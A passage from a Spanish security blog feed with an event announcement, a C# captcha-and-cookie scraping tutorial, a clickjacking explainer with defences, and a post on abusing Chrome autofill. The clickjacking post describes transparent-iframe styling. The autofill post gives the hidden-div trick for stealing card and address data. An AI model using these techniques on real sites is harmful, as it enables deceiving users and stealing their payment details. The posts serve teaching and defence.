Salu2!; </div>
<div align="justify">
<br /></div>
<div align="justify">
Se puede descargar de aqui: <a href="https://sourceforge.net/projects/aadgoogle/">https://sourceforge.net/projects/aadgoogle/</a></div>
<br />
<br />
<br />
<br />MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com3tag:blogger.com,1999:blog-1612739396540967045.post-17115976105495205082013-11-14T00:37:00.000-08:002013-11-14T00:37:00.073-08:00Jornada Gratuita de seguridad HighSecCON II<h3> </h3> <p>Quiero anunciaros la jornada gratuita de seguridad HighSecCON II que organizamos desde HighSec el día <strong>15 de Noviembre de 17:00 a 20:00</strong>. El objetivo de la HighSecCON es crear un punto de encuentro de gente interesada en el hacking ético y la ciberseguridad. <p>El evento es completamente gratuito y tendrá como ponentes a: <ul> <li><em><strong>Pablo Gonzalez </strong>(@pablogonzalezpe) con “A la caza del pedófilo, Flu-AD y su integración con Metasploit & Any Shellcode!“</em></li></ul> <p> Flu-AD es un troyano creado para los cuerpos policiales de distintos países. Hoy en día los países debaten si sus cuerpos policiales podrán utilizar este tipo de herramientas en la lucha contra la pedofilia en Internet. La inyección de funcionalidades en ejecución mediante shellcodes proporciona una vía para llegar a un engranaje optimizado en pocos KB de herramienta. Por ejemplo, integración entre Flu-AD y Metasploit Framework. <ul> <li><em><strong>Marc Rivero</strong> (@seifreed) con “Mama estoy infectado por un malware“</em></li></ul> <p> El objetivo principal de la charla pretende es exponer de manera histórica el cambio de tácticas (no solamente a nivel de código malicioso, sino de recursos, técnicas e infraestructuras) que han sido desarrolladas tanto por medios de pago por internet, como por los cibercriminales. Se hará especial hincapíe a las medidas de seguridad adoptadas durante los últimos años en el sector de la banca electrónica y las técnicas empleadas por los delincuentes para conseguir saltárselas (con ayuda de los usuarios legítimos). Desde la autenticación simple basada en usuario y contraseña, las tarjetas de coordenadas, los teclados virtuales, hasta los sistemas que autentican al usuario mediante el uso de smart­‐cards. Del mismo modo, se expondrá la capacidad del código malicioso actual para conseguir, ya no solamente la información de cuentas bancarias, sino del contexto en el que se ejecutan (sandbox laboratorios de malware con el fin de recopilar información que pueda ser convertida en inteligencia que servirá para <p>optimizar las tácticas empleadas) <ul> <li><em><strong>Ricardo Martín</strong> (@ricardo090489) con “Como aprovechar el autofill de Chrome para obtener información sensible“</em></li></ul> <p>En esta charla se hablará de cómo aprovechar el autofill de Chrome para obtener información sensible como pueden ser números de cuenta bancaria y otros datos privados, ayudándonos de capas y propiedades que no han tenido en cuenta los de Chrome para ocultar los campos que se auto rellenarán con esta información tan valiosa para un atacante, consiguiendo de esta forma auto rellenarlos sin que la víctima se dé cuenta de ello. <ul> <li><em><strong>Roberto García</strong> (@1GbDeInfo) con “Iniciación al XSS“</em></li></ul> <p>Los ataques XSS siguen en auge hoy en día. Si piensas que tu web está segura, vuelve a repasarlo porque quizá sea vulnerable a los ataques XSS. Cross Site Scripting se basa en inyectar código malicioso en un sitio vulnerable y permitir ejecutar ese código. Si te llama la atención, estate atento a la chala porque veremos un acercamiento a un tema de moda como son los ataques XSS. <p>El evento se repite cada 2 meses y está apoyado por el ICFS (Instituto de Ciencias Forenses y de la Seguridad) de la UAM además de tener la colaboración de Thiber y Flu-Project. <p>Para reservar una entrada gratuita manda un correo a info@highsec.es. La localización del evento será en la <strong>Escuela Politécnica Superior de la Universidad Autónoma de Madrid</strong>. <p>Más información en <ul> <li><a href="http://www.highsec.es/highseccon-ii/">http://www.highsec.es/highseccon-ii/</a> <li> info@highsec.es <li> @highsec0</li></ul> <p><a href="http://www.flu-project.com/wp-content/uploads/cartel1.jpg"><img title="cartel" alt="" src="http://www.flu-project.com/wp-content/uploads/cartel1-768x1024.jpg" width="614" height="819"></a> <h6><strong>Artículo cortesía de @highsec0</strong></h6> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-78298051940424961302013-11-13T02:20:00.000-08:002013-11-13T04:10:43.718-08:00Obtener el captcha, mostrarlo y enviarlo desde tu aplicaciónTal vez al desarrollar una herramienta que tira de un servicio web este necesite que se le envíe un captcha por ello es necesario obtenerlo y presentarlo en tu herramienta para luego enviarlo junto con el recurso al servicio web, si ya saben cómo darle una solución a este “problema” tal vez sea mejor que no sigas leyendo, en cualquier caso te puede servir para refrescarte cómo lograrlo. <br />
Bueno el concepto simplemente es ir directamente al enlace donde se genera la imagen dinámica y obtenerla junto con la cookie con la que está relacionada, en este caso esa cookie era PHPSESSID. <br />
Para el ejemplo voy a utilizar un servicio web para decompilar online ciertos formatos de archivos (<a href="http://www.showmycode.com/">http://www.showmycode.com/</a>), para ello la aplicación que realizo como ejemplo en C# le va a enviar una url de una aplicación que se encuentra subida en una página web (<a href="http://zoomquilt2.madmindworx.com/">http://zoomquilt2.madmindworx.com/</a>). <br />
<div align="center">
<a href="http://lh6.ggpht.com/-rq7GQfgS-Zs/UoNPIO-CNTI/AAAAAAAAAL4/z7qlbdcrJ0E/s1600-h/clip_image002%25255B4%25255D.jpg"><img alt="clip_image002" border="0" height="406" src="http://lh6.ggpht.com/-Bw2-BGmAFKE/UoNPItVEX2I/AAAAAAAAAL8/kvtCi5XnTVY/clip_image002_thumb%25255B1%25255D.jpg?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image002" width="396" /></a><br /><span style="font-size: xx-small;">Imagen 1: Par de datos necesarios para la posterior petición.</span></div>
Entonces he creado un código en C# que realiza una petición a <a href="http://www.showmycode.com/?c">http://www.showmycode.com/?c</a>, parsea la cabecera y obtiene la cookie PHPSESSID (realmente se puede hacer esto de otras formas más elegantes pero bua me da igual) – Imagen 1. <br />
Lo siguiente será interceptar la petición que se envía para decompilar la herramienta que está alojada en <a href="http://zoomquilt2.madmindworx.com/zoomquilt2.swf">http://zoomquilt2.madmindworx.com/zoomquilt2.swf</a> para este cometido he utilizado el addon de Firefox, live HTTP headers. <br />
<div align="center">
<a href="http://lh3.ggpht.com/-pT67rLg5nnk/UoNPI9OkjJI/AAAAAAAAAME/cfB19oZan6g/s1600-h/clip_image004%25255B5%25255D.jpg"><img alt="clip_image004" border="0" height="549" src="http://lh5.ggpht.com/-yu8ES3F26Hw/UoNPJYGgAzI/AAAAAAAAAMM/6lhQOzz0Emw/clip_image004_thumb%25255B2%25255D.jpg?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image004" width="378" /></a><br /><span style="font-size: xx-small;">Imagen 2: Interceptada la petición cuando se envía el formulario.</span></div>
He subrayado los datos que se van a modificar en la aplicación, primero la cookie, la url donde se aloja la aplicación a decompilar y el valor del captcha. <br />
<div align="center">
<a href="http://lh6.ggpht.com/-AyR_N8wM2P4/UoNPJvyQRYI/AAAAAAAAAMU/sPFNx1pdbXE/s1600-h/clip_image006%25255B4%25255D.jpg"><img alt="clip_image006" border="0" height="380" src="http://lh4.ggpht.com/-D3lMtFQT9iE/UoNPJzzlFdI/AAAAAAAAAMc/VcX51K4tJH0/clip_image006_thumb%25255B1%25255D.jpg?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image006" width="467" /></a><br /><span style="font-size: xx-small;">Imagen 3: código de la segunda petición.</span></div>
Este es el código de la segunda petición, donde se va a enviar tanto la url de la aplicación a decompilar, el valor del captcha, el contenido de la petición por POST, la cookie y el mensaje en el Response que se espera si todo ha salido bien en el código fuente devuelto por la web "Your decoded code", Si se cumple la condición de encontrar esta cadena en el código fuente significará que todo ha salido bien y con ello que el envío del par captcha-cookie se ha realizado de forma satisfactoria, justo después se tendrá que parsear el HTML en busca del cuadro donde se encuentra el código de la aplicación decompilada y volcarlo en un fichero.htm junto con los estilos css para que quede tal que así. <br />
<div align="center">
<a href="http://lh5.ggpht.com/-5olpPX9AwKU/UoNPKcHAQGI/AAAAAAAAAMk/jfy_9-C8JZ8/s1600-h/clip_image008%25255B5%25255D.jpg"><img alt="clip_image008" border="0" height="368" src="http://lh3.ggpht.com/-OGt9-JQykvw/UoNPKrSR_uI/AAAAAAAAAMs/v2vok-k7AiA/clip_image008_thumb%25255B2%25255D.jpg?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image008" width="541" /></a><br /><span style="font-size: xx-small;">Imagen 4: fichero generado por la aplicación con el volcado del SRC.</span></div>
<div align="center">
<br /></div>
<div align="center">
<span style="font-size: xx-small;"><a href="http://www.multiupload.nl/8CNGENNBG1">http://www.multiupload.nl/8CNGENNBG1</a> </span></div>
<br />
<br />
<br />
<br />
<br />
<br />
MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-36855558883155172992013-10-31T00:57:00.000-07:002013-10-31T00:57:00.191-07:00Algunos ejemplos y defensas contra el clickjacking<p>El clickjacking fue descubierto por Jeremiah Grossman y Robert Hansen en 2008. También se le conoce como UI redressing. El concepto es sencillo, y las técnicas para conseguirlo no son difíciles de implementar. Se podría decir que<b> la técnica se basa en un fallo de diseño de HTML y por tanto toda web es "vulnerable" por defecto. </b>Las soluciones hasta ahora son en realidad "parches" aplicados tanto al protocolo como a los navegadores, que han aparecido para intentar mitigar el problema. <p>El fin del clickjacking es conseguir que un usuario pulse en un enlace (y realice una acción) sin que lo sepa, o creyendo que lo hace en otro enlace con otro fin, con todas las consecuencias que eso puede acarrear. Puede ser un enlace de votación (que vote a alguien que no desea), seguir a alguien en Twitter, un "Me gusta" de Facebook... El atacante "disfraza" un enlace no deseado, volviéndolo atractivo para la víctima. <b>Para conseguirlo, se basa en el juego de capas que se puede conseguir con HTML e "iframe"</b>. Iframe es una (anticuada en cierta forma) técnica para cargar una web dentro de otra. Clickjacking está basado normalmente en el iframe.<br>Para una explicación de cómo realizar este ataque, se debe entender el funcionamiento por capas intrínseco al HTML. Una web maliciosa (roja, en la figura) debe cargar una web legítima (gris) delante pero , de forma transparente (con opacidad cero). La web roja consistirá en un mensaje atractivo, en el que el usuario desee pinchar. La web legítima será la "víctima" en el sentido de que el usuario realmente pulsará sobre ella sin quererlo. Además, será víctima del ataque porque permite que se "abuse" de ella (veremos cómo evitarlo). Si se posiciona correctamente un enlace sobre otro, y se cuadran las capas, el efecto puede ser el del "secuestro" del clic del ratón. <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSxrwDnsSLPUFs2t97ie3kMvsoL1rxE_va_rEif72OOC2wet4dk6GyhS8qTdH-vjT84gs_hJNmGKNRkY67X72lFK_qbB_OYnHY-eyuM1ZlGwNoeTHEKkC4bTbC0bD8ayUXcgoYtkrIMpE/s1600/clickjacking5.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSxrwDnsSLPUFs2t97ie3kMvsoL1rxE_va_rEif72OOC2wet4dk6GyhS8qTdH-vjT84gs_hJNmGKNRkY67X72lFK_qbB_OYnHY-eyuM1ZlGwNoeTHEKkC4bTbC0bD8ayUXcgoYtkrIMpE/s320/clickjacking5.png" width="273" height="320"></a> <p>Para preparar la página maliciosa, el atacante debe contar con dos componentes básicos: <ul> <li>Un<b> iframe a cualquier otra página</b>, que en este caso será la "víctima", o en rigor, la página que será finalmente pulsada, sin que lo sepa el usuario. <li>Este iframe debe servirse desde la página maliciosa aplicando un estilo concreto que permita que sea transparente y quede posicionada por delante, en el punto correcto. Por ejemplo</li></ul> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_vma-7QEo1YskmqRaqI5nObwaFLMlyDBZZ78VT7QksaTozJzlaFHSLp8obvhcOhnLyJWPSOWFUMyhZZ6h3YZAFCGolL27rArlEYjFi7KyzJ9laIYC1jh3ArqwBghNWXyuHGsyFt7gdE/s1600/clickjacking6.png"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_vma-7QEo1YskmqRaqI5nObwaFLMlyDBZZ78VT7QksaTozJzlaFHSLp8obvhcOhnLyJWPSOWFUMyhZZ6h3YZAFCGolL27rArlEYjFi7KyzJ9laIYC1jh3ArqwBghNWXyuHGsyFt7gdE/s640/clickjacking6.png" width="640" height="34"></a> <p>El "style" definirá el ataque. <ul> <li><b>opacity:0</b>. Vuelve transparente al elemento. Su valor va de 1 (totalmente opaco) a 0, transparente e invisible. <li><b>position</b>: El elemento se coloca en relación a su primera posición (no estática) elemento antecesor. <li><b>top:0px;left:0px;width:99%;height:95%;margin:0px;padding:0px.</b> Estos parámetros permiten tomar todo el ancho de una página y que se acople a sus márgenes para que la cubra totalmente <li><b>z-index:1.</b> Permite que se posicione por delante/encima de cualquier otro elemento. Si este número se incrementa (puede valer 100, por ejemplo), se posicionará delante de todo lo que tenga un z-index menor. Si el número es negativo, se posicionará por detrás.</li></ul> <p>El ataque completo, podría ser algo así: <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0wnPZXx2uWPmu_3EAZhsnek1PziMwS7LgoE12D0nVYWf0wWyNer5j14rS8qSoSF22ZnqQ6hKf3_FoiMQulOTTEVhHn0cggpWUGlNunV3Vx6N1n6rdtneyLLgKdqDwsu4cjsvP-h1jX58/s1600/clickjack2.png"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0wnPZXx2uWPmu_3EAZhsnek1PziMwS7LgoE12D0nVYWf0wWyNer5j14rS8qSoSF22ZnqQ6hKf3_FoiMQulOTTEVhHn0cggpWUGlNunV3Vx6N1n6rdtneyLLgKdqDwsu4cjsvP-h1jX58/s640/clickjack2.png" width="640" height="63"></a> <p>Y cuando el usuario crea pulsar sobre un enlace muy atractivo o conveniente para él, en realidad puede que esté realizando una transferencia, por ejemplo. <p>Una ventaja de esta técnica que la diferencia del CRSF (cross site request forgery), es que con ella se sigue disponiendo del <i>token</i> válido en el caso de páginas que necesiten sesión, y si el usuario está presentado en la web "víctima", lo hará con el mismo <i>token </i>y como si realmente la acción se hubiera realizado desde la página original. <p>Pero se puede ir más allá. El problema inicial se definió en 2008 con este vídeo, en el que se presentaba un ejemplo en el que <b>la víctima activaba inadvertidamente su cámara web al presionar botones en la propia página de Adobe.</b> <p><strong></strong> </p> <div id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:538b0a4b-ffba-48a9-a7b4-5c3e48910801" class="wlWriterEditableSmartContent" style="float: none; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; width: 448px; margin-right: auto"><div><object width="448" height="252"><param name="movie" value="http://www.youtube.com/v/gxyLbpldmuU?hl=en&hd=1"></param><embed src="http://www.youtube.com/v/gxyLbpldmuU?hl=en&hd=1" type="application/x-shockwave-flash" width="448" height="252"></embed></object></div><div style="width:448px;clear:both;font-size:.8em">Un ejemplo concreto</div></div> <p>Imaginemos un sistema de votación muy sencillo, alojado en un dominio culaquiera, en la web vulnerable.php. <p>El atacante utiliza test.html, que carga mediante un iframe la página vulnerable.php de forma transparente con opacidad 0. La carga "por delante" de test.htm, pero <b>al ser transparente, el usuario solo visualiza el contenido de test.html.</b> En ella propone votar a otra web cualquiera, por ejemplo elladodelmal.com. Este es el reclamo. Pero el usuario que pulse sobre el botón, realmente estará votando a elevenpaths.com. <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij-a_kwZABIQ3jp1X1ubGoHEC31M_uJAUX2FxTRlHvTIv8e2KzPIsBa1ASpZt6uJ07anHPh7GCebC_37WDgQqqteRVTiK_QaVd3r16s8L0lKVOW614kMsKeMHuebD-ggP5Ib-CV1HR9Fk/s1600/clickjack.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij-a_kwZABIQ3jp1X1ubGoHEC31M_uJAUX2FxTRlHvTIv8e2KzPIsBa1ASpZt6uJ07anHPh7GCebC_37WDgQqqteRVTiK_QaVd3r16s8L0lKVOW614kMsKeMHuebD-ggP5Ib-CV1HR9Fk/s640/clickjack.png" width="614" height="640"></a> <p>La última secuencia muestra una imagen de la aplicación test.htm con opacidad 1, lo que significa que se puede ver la aplicación vulnerable.php y test.php claramente una sobre la otra. <p><b>Evitar el ataque: en un sitio web</b> <p>¿Qué puede hacer una página para que no sea utilizada como víctima del clickjacking? No puede hacer mucho más que evitar que se cargue ella misma dentro de un iframe. Así ningún atacante podrá ponerla "invisible" y sobre otra que el propio atacante ha creado. Una de las soluciones "antiguas" era la de evitar con JavaScript que una página no estuviera siempre en el "top". <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_0KJ0xaLua13etGuEOHqyBHNxLopoGZTh6oC-cMIGBkICxwEXQowoPAr0s9pOWr6g9IB39SfaPJNDjHieiocFq9HR2BqBRXBAZhhNOlSh0V578hleMVp6vxSnG3bQMLUkuRH5YwDd63w/s1600/clickjack3.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_0KJ0xaLua13etGuEOHqyBHNxLopoGZTh6oC-cMIGBkICxwEXQowoPAr0s9pOWr6g9IB39SfaPJNDjHieiocFq9HR2BqBRXBAZhhNOlSh0V578hleMVp6vxSnG3bQMLUkuRH5YwDd63w/s1600/clickjack3.png"></a> <p>Se debería incluir este código en cada página. Pero estas técnicas podían, a su vez, ser evitadas por el atacante. <p>Como solución más práctica, se ideó añadir al protocolo HTTP una cabecera llamada <b>X-Frame-Options. </b>Las páginas que envíen estas cabeceras al navegador, pretenden protegerse de aparecer en un iframe. Se propusieron varios métodos más o menos flexibles para intentar ayudar a las que legítimamente necesitaran incluirse dentro de un iframe. Sus valores son: <ul> <li><i>DENY</i>, el navegador evita que la página sea renderizada si está contenida dentro de un iframe <li><i>SAMEORIGIN</i>, la página solo puede ser mostrara en un frame que provenga del mismo origen que la propia página. <li><i>ALLOW-FROM</i> <i>uri</i>, el navegador bloqueará la renderización sólo si el origen de nivel superior está en un contexto de navegación que es diferente al valor <i>uri</i> proporcionado en la directiva </li></ul> <p>Los usuarios deben confiar en que las páginas las envíen, y que su navegador las interprete correctamente. Esto último hace tiempo que ya lo implementan la mayoría. Por ejemplo, Chrome desde su versión 4.1.249.1042, Firefox desde 3.6.9, Internet Explorer desde la 8, Opera desde la 10.5... <p><a href="http://www.blogger.com/blogger.g?blogID=326789147827468488" name="_GoBack"></a><b>Evitar el ataque: desde el cliente</b> <p>Pero aunque la mayoría de páginas ya se aprovechan de estas cabeceras, ¿qué pasa con las que no?<b> El usuario debe protegerse. </b>Ciertos antivirus detectan en el navegador comportamientos "extraños" de este tipo, y les han asignado firmas. Por ejemplo Avira, lo detecta como HTML/Infected.WebPage.Gen2. <br>Otro método para protegerse es utilizar la funcionalidad "clearclick" del conocido plugin NoScript, que ofrecerá protección al usuario para FireFox. <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlscZ4bW3mUHNyzNjM8CHR_plzZ7EiAM0tTP4npJX26BIQ1AcRjurN8undMo7kmPXyiD42oR-ONqfL8IBrqVT5RxD5kU4_nBoIjaa3i50Hco_2klkkDYerPqay6QQjitR3yOQxpi6e9x4/s1600/clickjack8.jpg"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlscZ4bW3mUHNyzNjM8CHR_plzZ7EiAM0tTP4npJX26BIQ1AcRjurN8undMo7kmPXyiD42oR-ONqfL8IBrqVT5RxD5kU4_nBoIjaa3i50Hco_2klkkDYerPqay6QQjitR3yOQxpi6e9x4/s320/clickjack8.jpg" width="305" height="320"></a> <p align="center">Ejemplos de alertas sobre ClickJacking. <br>Fuente: <a href="http://blogs.computerworld.com/sites/default/themes/cw_blogs/cache/files/u91/noscript_clickjack.jpg">http://blogs.computerworld.com/sites/default/themes/cw_blogs/cache/files/u91/noscript_clickjack.jpg</a> </p> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6_BZd5YNhjBz5S65K8d308nXt7Ku5EqHIuRgrDJF0WiTzSGlV6f-u_dPy67ob76PZkL_UgpWyBUprO-7TGyPZ_BXeXKrrg3YU7TL89UhYmp_n7e02MsO3k1UIGsS00C_ielKMlU6woXg/s1600/clearclick7.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6_BZd5YNhjBz5S65K8d308nXt7Ku5EqHIuRgrDJF0WiTzSGlV6f-u_dPy67ob76PZkL_UgpWyBUprO-7TGyPZ_BXeXKrrg3YU7TL89UhYmp_n7e02MsO3k1UIGsS00C_ielKMlU6woXg/s320/clearclick7.png" width="320" height="202"></a> <p align="center">Fuente: <a href="http://hackademix.net/2008/10/08/hello-clearclick-goodbye-clickjacking/">http://hackademix.net/2008/10/08/hello-clearclick-goodbye-clickjacking/</a> <p align="left">Os adjunto un video en el que muestro como mediante esta técnica un hacker sería capaz de desviar cientos de votos engañando a los usuarios habituales de una web que ha sido comprometida, creyendo estos estar cliqueando ‘Me gusta’ a una persona cuando realmente se esta votando a otra.</p> <div id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:bd7b2a26-7209-4f9a-b988-313e3a3cfdf0" class="wlWriterEditableSmartContent" style="float: none; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; width: 448px; margin-right: auto"><div><object width="448" height="252"><param name="movie" value="http://www.youtube.com/v/7ZJ1e5gtwjU?hl=en&hd=1"></param><embed src="http://www.youtube.com/v/7ZJ1e5gtwjU?hl=en&hd=1" type="application/x-shockwave-flash" width="448" height="252"></embed></object></div><div style="width:448px;clear:both;font-size:.8em">Clickjacking example 2</div></div> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-38670414803232107042013-10-15T09:35:00.000-07:002013-10-16T01:41:06.768-07:00Cómo aprovechar el autofill de Chrome para obtener información sensible<div align="justify">
A finales de 2010, Google introdujo en Chrome <i>autofill</i>, una característica cómoda, pero que puede suponer un problema de seguridad para sus usuarios. Incluso después de que <a href="http://www.neowin.net/news/safari-vulnerability-could-steal-your-data">otros navegadores sufrieran problemas de seguridad relacionados con esta funcionalidad</a>, y que <a href="http://www.neowin.net/news/new-chrome-beta-includes-credit-card-autofill-is-this-wise">la funcionalidad en sí haya sido cuestionada</a>, <b>sigue siendo posible robar la información almacenada del usuario que rellena un formulario sin que lo perciba</b>.<br />En general, almacenar datos sensibles en el navegador no suele resultar una buena idea. Justo antes de que Chrome implementara el "Autofill", en verano de 2010, se descubrió cómo <a href="http://support.apple.com/kb/HT4276">sacar todos los datos almacenados en Safari con fuerza bruta en JavaScript</a>. El usuario rellenaba un campo pero el navegador se encargaba de rescatar todos los demás almacenados, probando todas las letras y dejando que el navegador hiciera el resto. La vulnerabilidad fue parcheada poco después. No hace tanto, en agosto de 2013, se criticó desde muchos frentes <a href="http://blog.elliottkember.com/chromes-insane-password-security-strategy">lo sencillo que era recuperar contraseñas almacenadas en Chrome, que podían observar en texto plano</a>.<br />Con un sencillo método se puede conseguir que el usuario que escribe en un formulario, entregue esos datos a un tercero sin que sea consciente de ello.</div>
<div align="justify">
<br /><b>¿Cómo funciona?</b><br /><b><br /></b>Autofill de Chrome permite almacenar la dirección postal (dividida en otros datos como nombre, apellidos, teléfono, código postal...)<b> y la tarjeta de crédito</b> (dividida en titular, número y fecha de caducidad). Los datos (excepto la tarjeta de crédito) se pueden sincronizar con la cuenta de Google. El menú de configuración y cómo acceder a él, se observa en la siguiente secuencia de imágenes.</div>
<div align="center">
<img alt="http://code-disaster.blogspot.com" border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrFlLrvOCRQv_xyT0-1AHnumhNFFxunq-lVRJunuAIB8srSCajWpmklOYrxrHyTpxpf5pCaFgMVxohm8Bzv7Vk3GDzGUJfBgy_VQe_6Jh76jvqylqxrdNltkdbAKlyGQ9Dwqe89QMngrE/s640/autofill2.png" title="http://code-disaster.blogspot.com" width="640" /><br /><span style="font-size: xx-small;">Imagen 1: Configuración del autofilling.</span></div>
<div align="center">
<img alt="http://code-disaster.blogspot.com" border="0" height="532" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii8EME7Bk_wJ8TfskMoN2af01OS4KebgAJkoKZBv7wE878jOPKBQA1lSeb3cIUTYmN9tPzqWCV7O792YmihdOSk0R_UJpm48gqp84d2IsHpkaHezQpVKDJReC09Rcxhge0bNDgDdYMwZA/s640/autofill.png" title="http://code-disaster.blogspot.com" width="640" /><br /><span style="font-size: xx-small;">Imagen 2: Configuración del autofilling (Direcciones).</span></div>
<div align="center">
<img alt="http://code-disaster.blogspot.com" border="0" height="382" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmqc-8B6BHVPMy7ghAxjJ11KhVyjq2HTap0jdKQe3X2OG6H1ZngrMJYw1kt79HBus1qvxdy10-QfBWfGaFhvY3VSxRm2CCb-MSpdkrcBhST16cdrbO42O9zdEMLXPoyiML1WGKHB4YMYI/s640/autofill3.png" title="http://code-disaster.blogspot.com" width="640" /><br /><span style="font-size: xx-small;">Imagen 3: Configuración del autofilling (Tarjetas de crédito)</span></div>
<div align="justify">
Diferentes pantallas de configuración de "autofill" en Chrome </div>
<div align="justify">
Para que un formulario aproveche el autofill, los inputs deben ser debidamente identificados para que Chrome sepa qué valores corresponden. </div>
<div align="center">
<img alt="http://code-disaster.blogspot.com" border="0" height="85" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNJPPA-RXv0pk7K-Ori5aBIq7oa4-jDpOwpP2bQyeNCzskQmlj7Jwjkz8xIcbLOKC_lBGnGSqh7Tvv6B3UhyphenhyphenVgyShOitfnL8u7cvfpgR0jW284l6fCWmgYGi0AWb4EisVvt-tErLYimEQ/s400/autofill4.png" title="http://code-disaster.blogspot.com" width="400" /><br /><span style="font-size: xx-small;">Imagen 4: Atributos para el autofilling</span></div>
<div align="justify">
Dispone de cierta heurística para intentar que casen los campos. Por ejemplo sabe que <i>autocomplete="mail"</i> debe ir autocompletado con el mismo contenido que cuando lleva de valor autocomplete=<i>"Work email".</i><br /><i><br /></i><b>El "ataque"</b><br /><b><br /></b>Un atacante puede aprovechar esta característica del navegador para obtener información privada como puede ser los datos del domicilio o datos de la tarjeta bancaria. Planteamos un escenario en el que la víctima visite una página web por https especialmente modificada, introduzca los datos <b>y el atacante se ayude del autofill que ofrece el navegador para obtener datos sensibles almacenados.</b> Todo esto a pesar de las pequeñas trabas que introduce Chrome en su código para evitarlo.<br />Por ejemplo, como precaución, Chrome <b>solo proporciona la tarjeta de crédito a páginas bajo https</b>. Esto no es ningún problema para un atacante, pues es solo tiene que operar a través de una conexión SSL. Existen páginas fraudulentas que funcionan con certificados gratuitos.<br />El segundo paso es preparar el formulario y ocultar a los ojos de la víctima, los inputs que interesan al atacante. La primera aproximación pensaría en utilizar la etiqueta "hidden". Pero en el input el atributo type no puede llevar ese valor. Una segunda aproximación podría ser introducir el formulario dentro de un div con la propiedad <i>visibility </i>en "<i>hidden</i>"... <b>pero Chrome evita que los inputs sean auto-rellenados cuando se cumplen estas condiciones</b>. ¿Cómo conseguirlo entonces?<br />Una fórmula puede ser aprovechar la propiedad de <i>scroll</i>, subiendo la capa algunos píxeles para que no se observen el resto de inputs en los que se pretende recopilar la información. En este caso, el formulario "gancho" se vería:</div>
<div align="center">
<img alt="http://code-disaster.blogspot.com" border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB9mdR1hKNfocW_q_F0VBGrCGvCilQnpp8vM-OffzSYebEmkDNSYjz6O_0iYfssxwqgIdZdiD-7pLy2eHiqldj8g2UcWjm_m9MgEvlvjBkYz0kdIGTaW3lc7M6716rvAmJF2ff2eOeryw/s400/autofill5.png" title="http://code-disaster.blogspot.com" width="400" /><br /><span style="font-size: xx-small;">Imagen 5: PoC Autofilling</span></div>
<div align="justify">
Pero, usando este "div", conseguimos que en su interior se oculten todos estos inputs y no se visualicen en el navegador: </div>
<div align="justify">
div style ="overflow:hidden;height:25px;" </div>
<div align="center">
<img alt="http://code-disaster.blogspot.com" border="0" height="353" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgByUxN-uYnCG1F9gTw-cJrOslLbnLMNBxTsUsJkkQCiXHMkCXjeiaMQ8F5Tok3N9YXYZzeuycQ7IyUDaaJ47QVywuvwtW6F74Boux0Dy2cenb6CJKPS_LOZ3xPHlHxS_0Rd6aCMAOUGDQ/s640/autofill6.png" title="http://code-disaster.blogspot.com" width="640" /><br /><span style="font-size: xx-small;">Imagen 6: Campos ocultos en el formulario.</span></div>
<div align="justify">
<b>Chrome rellenará toda la información adicional sin que la vea el usuario.</b> El atacante, recopilará la información y podrá disponer de muchos más datos de los que cree haber rellenado el usuario. </div>
<div align="center">
